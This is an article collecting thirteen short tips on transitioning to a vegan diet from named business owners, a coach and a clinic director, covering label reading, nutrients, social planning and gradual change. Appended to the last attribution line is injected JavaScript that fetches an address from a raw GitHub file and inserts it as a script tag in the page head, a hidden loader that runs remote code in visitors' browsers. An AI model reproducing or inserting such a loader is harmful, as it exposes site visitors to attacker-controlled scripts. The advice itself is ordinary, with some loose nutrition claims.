Have you ever wondered how to transition smoothly into a vegan lifestyle? In this article, thirteen experts, including a Chief Executive Officer and a Medical Director, share their invaluable advice on veganism. The journey begins with a focus on including, not excluding foods, and concludes with the importance of replacing food gradually. Discover all 13 insights to help make your vegan transition successful and sustainable.
- Focus on Including, Not Excluding Foods
- Learn to Read Labels
- Consult a Healthcare Professional
- Treat It Like a Fun Challenge
- Plan Ahead for Social Situations
- Focus on Variety and Balance
- Mind Nutrient Deficiencies
- Make Better Choices, Not Perfection
- Have a Support System
- Communicate with Friends and Family
- Take Small, Manageable Steps
- Don’t Chase the Taste of Meat
- Replace Food Gradually
Focus on Including, Not Excluding Foods
The most helpful thing I was told when going vegan is that I should focus on what I’m including in my diet, not what I’m excluding. I stopped focusing on what I had to avoid and started researching the wonderful world of plant foods and enjoying my opportunities to be creative and adventurous in the kitchen. This changed my thinking pattern completely, and I indeed started to take veganism as a challenge or a journey of fun. It also caused me to try new ingredients, and thus, I started incorporating jackfruit, nutritional yeast, and cashew cream into my food list.
This advice has honestly influenced me a lot in terms of how I handle veganism. What I learned from focusing on abundance was that I was automatically creating balanced, nutrient-dense plates that could quell my hunger and that echoed my food likes and dislikes. For instance, instead of missing cheese, I was able to prepare rich creamy sauces from nuts and seeds. Instead of desiring meat, I focused on porridge, beans, tofu, and tempeh to get proteins. If that is all it did, that would be enough, but this creative exploration also helped me end up loving cooking and eating in a way I had not before.
Finally, using this advice, I was able to maintain veganism over the long term. Instead of constantly thinking about what I was letting go of; what I could have that was so much better, I had no complaints and felt good about the positives of making this decision all the time. I’ve also seen some positive aspects in my body such as; I wake up feeling more muscular, and I also have clear skin, so my diet is ethical. That is why I have always said that being vegan is fun and fulfilling, due to this abundant mindset.
Ranveer Brar, Owner, Kashkan Restaurants
Learn to Read Labels
The best advice I got came from a vegan advocate named Colleen Patrick-Goudreau. She talked about the importance of learning to read labels, which changed how I approached veganism. She explained that many animal-derived ingredients are hidden behind unfamiliar names, and understanding them would make the transition much easier.
That is the reason I started educating myself on common ingredients like gelatin, casein, and shellac, which I had never thought twice about before. I also learned that some products labeled as “natural” could still include animal-based components. To make things easier, I kept a list of ingredients to watch out for on my phone and used it as a guide when shopping. The more I practiced, the more confident I became in recognizing what was truly plant-based.
Her advice relieved the stress of second-guessing everything I bought and helped me feel more confident in my choices. Now, reading labels is just part of my routine. I can go through the store quickly, picking up what I need without spending extra time figuring out if a product is vegan. It has even helped me expand my options by discovering brands and products I didn’t know about.
Shaun Bettman, Chief Executive Officer, Eden Emerald Mortgages
Consult a Healthcare Professional
The best advice I received when going vegan was to consult a healthcare professional before making any big changes to my diet. At first, it seemed like a step I could skip. I figured I could just research online, plan my meals, and jump right in. But having a professional guide me through the process made all the difference in making the transition both sustainable and healthy.
During my consultation, I learned how important it is to understand my body’s nutritional needs. The healthcare professional explained that while a vegan diet can be incredibly healthy, it requires careful planning to ensure you get enough essential nutrients like protein, iron, calcium, and vitamin B12. They went over my current health profile, looked at my eating habits, and suggested ways to fill any gaps in my nutrition. For example, they recommended fortified plant-based milks and nutritional yeast as easy ways to get B12, which is something I wouldn’t have known to prioritize.
Eli Itzhaki, CEO & Founder, Keyzoo
Treat It Like a Fun Challenge
Someone told me to treat going vegan like a fun social media challenge, documenting my journey and connecting with others online who shared creative recipe ideas and restaurant recommendations. This approach not only kept me accountable but turned into an engaging content series for my platforms, where I shared honest struggles and victories, helping my followers see that transitioning to vegan living doesn’t have to be perfect or intimidating.
Macy Troyer, Owner, Goaldy
Plan Ahead for Social Situations
The best advice I received when going vegan was to always be prepared for social situations. Planning ahead makes all the difference, especially when dining out or attending events where vegan options might not be obvious. I started researching menus ahead of time and reaching out to event hosts to communicate my dietary needs. This way, I could avoid the awkwardness of having nothing to eat and stay true to my choices without feeling inconvenienced.
This has helped me approach veganism with confidence. Instead of worrying about whether there will be something I can eat, I go into these situations knowing I have a plan. It has also made me more thoughtful and creative about my meals. Whether it is bringing a dish to share at a gathering or discovering hidden vegan-friendly options on a menu, being proactive has turned potential challenges into opportunities.
Tracie Crites, Chief Marketing Officer, HEAVY Equipment Appraisal
Focus on Variety and Balance
The best advice I received when transitioning to a vegan lifestyle was to focus on variety and balance in my meals. This simple tip helped ensure I got all the nutrients needed, especially for maintaining healthy hair, a key focus in my work.
I learned to incorporate many plant-based foods, like leafy greens, nuts, seeds, and legumes, to cover essential nutrients such as protein, iron, and omega-3 fatty acids. This approach supported my overall health and reinforced how diet directly impacts hair health, a lesson I now pass on to my patients.
That advice taught me that going vegan isn’t about restrictions—it’s about discovery. By embracing variety, I’ve enjoyed a more nutrient-rich diet while staying aligned with my values, and I encourage others to do the same, whether for personal health or professional expertise.
Dr. Michael May, Medical Director, Wimpole Clinic
Mind Nutrient Deficiencies
When I transitioned towards a vegan lifestyle, the best advice I received was to ensure I was mindful of nutrient deficiencies, particularly Vitamin B12, calcium, and zinc. These nutrients are typically abundant in animal products, and neglecting them in a vegan diet can have significant health implications. An example I often refer to is the necessity to supplement B12 or consume fortified foods since they are no longer naturally found in our soil due to modern agricultural practices.
Moreover, focusing on integrating a variety of proteins was crucial. While many might push for soy as a primary protein source, I learned the importance of diversifying with lentils, chickpeas, and quinoa. This adjustment aided in meeting my daily protein intake and bolstered my overall energy levels, which is vital, especially for maintaining performance in fitness and martial arts activities.
Paying attention to these nutritional details helped me stay resilient during the dietary shift. It also allowed me to continue engaging in high-energy physical training sessions with minimal disruptions, affirming the balance and strength that martial arts and fitness embody. This experience underlined the value of thorough research and advice on dietary transitions.
Phil Ross, CEO, The BodyBell Method
Make Better Choices, Not Perfection
My colleague, a close friend, told me not to aim for perfection but to make better choices. Coming from a legal background, I tend to be all or nothing in my approach, but this advice shifted my perspective on veganism. It helped me understand that the goal isn’t to be flawless but to make better decisions for my health, the environment, and animal welfare. This mindset has made the transition smoother, and I carry it with me in all areas of my life—whether personal or professional.
Gordon Hirsch, Founder and Managing Attorney, Hirsch Law Group
Have a Support System
Have a support system during the transition. Maybe this is a significant other who tries it with you, a group of friends who make a “vegan cooking group chat” and share the challenges, or a larger organization has a Facebook group. Having a community, whatever that means to you, around you, and experiencing the new dietary paradigm with you makes it easier and feel more normal.
At the beginning, follow a plan! There are a ton of decisions and mental (and emotional) load involved in making such a huge life change like going vegan. Any way you can make that easier and reduce the decisions for yourself, like by following a meal plan, will help. The BEST way to implement is to combine the two!
Plenty of organizations do “cohorts” of plant-based or veganism. For example, https://veganuary.com/ is a movement that challenges people to go vegan for January. They provide meal plans, coaching emails, etc.
Another is a Dr. Fuhrman guided detox. I don’t love the naming, but it is a guided introduction to whole food, plant-based eating with community and lectures, and a meal plan!
Another example is Greenfare, a whole food, plant-based cafe in Northern VA, which has a program that provides all the meals (you don’t even have to cook!). This one isn’t globally relevant, but there are probably similar programs at local vegan restaurants and businesses!
I’m unaffiliated with the above programs and businesses. I’m just a fan of Dr. Fuhrman and a loyal customer of Greenfare whenever I’m in the DC area!
Harrison Tarr, Nutrition Coach and Personal Trainer, Coach Harry’s Guide
Communicate with Friends and Family
The best advice that I received when I decided to go vegan was to communicate with friends and family about it. I came across an article on Yahoo explaining how important it is to share your reasons for the change and involve the people around you. It highlighted that letting them know what you’re doing and why helps build understanding and support, which can make the transition smoother. At first, I wasn’t sure how to approach the topic, but after reading that, I realized that opening up the conversation was a good starting point.
This advice made a big difference because it helped me avoid misunderstandings or awkward moments during social gatherings or meals. Instead of people wondering why I wasn’t eating what was served, they already knew my preferences and went out of their way to ensure there was something vegan-friendly. It strengthened my relationships because people were included in the change rather than left out or confused about it.
Gal Cohen, Business Development Leader & Field Area Manager, JDM Sliding Doors
Take Small, Manageable Steps
The advice is to avoid making a complete 360-degree shift; instead, take small, manageable steps. Transitioning to a vegan lifestyle doesn’t happen overnight. Start by gradually reducing animal product consumption and incorporating substitutes. Focus on becoming comfortable with each change, such as what’s on your plate, before tackling the next challenge. I started by replacing cow milk with coconut milk. While this approach may slow your journey toward veganism, it ensures a healthier adjustment for your body and mind.
Akshita Pacholi, Content Marketer
Don’t Chase the Taste of Meat
The best advice I received was not to chase the taste of meat. Swapping meat for vegan-friendly substitutes typically leaves new vegans disappointed with the texture and taste. Embracing the vegan lifestyle means opening your palate up to a new range of flavors and textures and expanding your diet to include new foods. There’s a whole new world out there for vegans who opt to broaden their diet horizons. Putting meat firmly behind you rather than trying to recreate it opens your eyes and taste buds to new delights.
Tara Bennet, Astrologer, Numerologist, & Spiritual Coach, Mediumchat Group
Replace Food Gradually
The best advice I received when going vegan was to take it one step at a time and replace food gradually. The advice helped me with the overwhelm when shopping, but also financially.
Ashley Bryant, Copywriter Digital Marketer, Ashley Bryant Copy;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});
